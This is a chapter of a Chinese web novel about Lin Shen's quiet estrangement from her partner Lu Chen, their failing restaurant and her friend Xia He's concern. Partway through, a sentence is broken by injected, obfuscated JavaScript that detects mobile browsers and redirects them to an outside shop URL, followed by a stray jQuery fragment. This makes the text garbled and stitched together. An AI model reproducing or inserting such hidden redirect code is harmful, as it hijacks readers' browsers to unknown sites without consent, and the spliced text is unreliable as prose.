烟灰缸事件以后，日子忽然平静下来，平静得有些不真实。陆沉真的开始控制喝酒，至少大部分时间如此。朋友来得少了，烟也抽得少了，甚至开始主动研究活动方案——团购、套餐、会员卡、充值赠送，每天都在琢磨。有时候半夜醒来，林深还能看见他坐在客厅对着电脑发呆，屏幕的光照在脸上，让人看不出情绪。
店里的生意还是那个样子，不好不坏，死不了，也活不好，像一个长期生病的人，医生说不会立刻出事，但谁都知道撑不了太久。
下午没客人的时候，陆沉会趴在吧台上画东西——宣传海报、套餐组合、活动页面。画着画着忽然抬头：
“林深。”
“嗯？”
“你觉得这个怎么样？”
以前林深会认真看，会改，会提意见，会和他讨论半小时。现在不会。她抬头看一眼：
“挺好。”
“哪里好？”
“不知道。”
“那你再看看。”
“你决定吧。”
陆沉愣了一下，没有说话，低头继续修改。这种事情开始越来越多，最开始陆沉没有察觉，后来慢慢察觉了，只是没人提。
晚上一起回家，路过便利店，陆沉买了一瓶可乐，顺手问：
“你喝什么？”
林深想了想：
“矿泉水。”
“以前不是喜欢喝气泡水？”
“最近不喜欢了。”
其实不是不喜欢，只是懒得选。很多事情都开始变得无所谓——吃什么无所谓，去哪里无所谓，看什么无所谓。以前喜欢的东西忽然失去了讨论的欲望，连她自己都不知道为什么。
有一天晚上两个人坐在沙发上看电影，是一部刚上映不久的喜剧片，网上评分很高。以前这种时候林深会一边看一边吐槽，看见好笑的地方会笑，看见无聊的地方会骂，整个人弹簧一样停不下来。那天没有，两个小时电影结束，她一句话都没说。陆沉忽然转头：
“你不喜欢？”
“还行。”
“那你怎么没反应？”
“有吗？”
陆沉看着她，过了几秒摇摇头：
“没事。”
电影结束以后两个人继续坐着，电视机自动跳转下一部推荐影片，光影不断变化，房间却越来越安静。来福趴在林深脚边睡觉，脑袋压着她拖鞋，尾巴偶尔动一下。陆沉忽然伸手想去摸来福，来福看了他一眼，没有躲，却也没有主动靠近。关系好像恢复了，又好像没有，像一道被修补过的裂缝，表面平整，里面却已经断开。
店里员工其实都看出来了，没人说，只是偶尔会偷偷交换眼神。以前林深和陆沉一起站在吧台后面总有说不完的话，现在没有，两个人坐在一起经常半天不出声。有一次后厨的小伙子跑来问：
“姐，陆哥是不是心情不好？”
林深愣了一下：
“为什么这么问？”
“感觉你们最近怪怪的。”
“有吗？”
“有。”
小伙子认真地点头：
“以前你们不像现在这样。”
林深没有接话，因为连她自己都说不清哪里不一样，只是觉得有什么东西变了，可又看不见摸不着，像空气里的裂缝。
某个周二下午夏禾来了。最近她来的次数越来越少，恋爱谈得很认真，脸上的气色都比以前好。一进门就把包扔到椅子上：
“累死了。”
“干什么去了？”
“约会。”
“约会还能累？”
“比上班累。”
林深笑了一下，这是她这几天难得真心笑出来的一次。夏禾盯着她看了几秒忽然说：
“你最近瘦了。”
“没有吧。”
“有。”夏禾咬着吸管，“是不是没睡好？”
林深下意识想说没有，可话到嘴边又咽了回去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691739|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。她确实没睡好，最近经常半夜醒，醒来以后盯着天花板发呆，有时候什么都不想，有时候想很多。最奇怪的是她开始做梦——梦见那只烟灰缸，梦见玻璃碎开的声音，梦见来福挡在自己前面。每次醒来后背都是冷汗。她谁都没说，连自己都假装忘了。
夏禾看了她一会儿，忽然伸手揉了揉她头发：
“别把自己累死。”
林深笑着拍开她：
“滚。”
“好心当驴肝肺。”
“赶紧谈你的恋爱去。”
夏禾笑着起身，临走的时候忽然停下：
“对了。”
“嗯？”
“如果哪天不开心，给我打电话。”
林深愣了一下：
“知道了。”
夏禾挥挥手走了，门口风铃轻轻响了一声，又恢复安静。
傍晚的时候科技园的人陆续下班，店里开始上客。陆沉在前面招呼客人，说话、微笑、推荐菜品，看起来和平时没什么区别。林深站在收银台后面，忽然发现自己在看他——不是以前那种看。以前她看的是未来，现在她看的是一个人，一个和自己并排站了九年的人，一个曾经以为会走到最后的人，一个让她第一次学会爱情的人。她忽然意识到自己最近想得最多的已经不是怎么救这家店，也不是怎么救陆沉，而是：如果有一天这一切结束了，自己会变成什么样。这个念头刚冒出来的时候她吓了一跳，像做了什么对不起人的事。可它出现以后，就再也回不去了。
晚上十一点打烊，陆沉在前面锁门，来福蹲在林深脚边安静地等。路灯把影子拉得很长，林深站在人行道上忽然看着远处发呆。
“看什么呢？”陆沉问。
“没什么。”
她收回视线，牵着来福往前走。夜风吹过来有点凉，来福跟在旁边尾巴轻轻晃着。那一刻林深忽然发现，自己第一次认真想过一件事——如果有一天离开这里，好像也不是完全不行。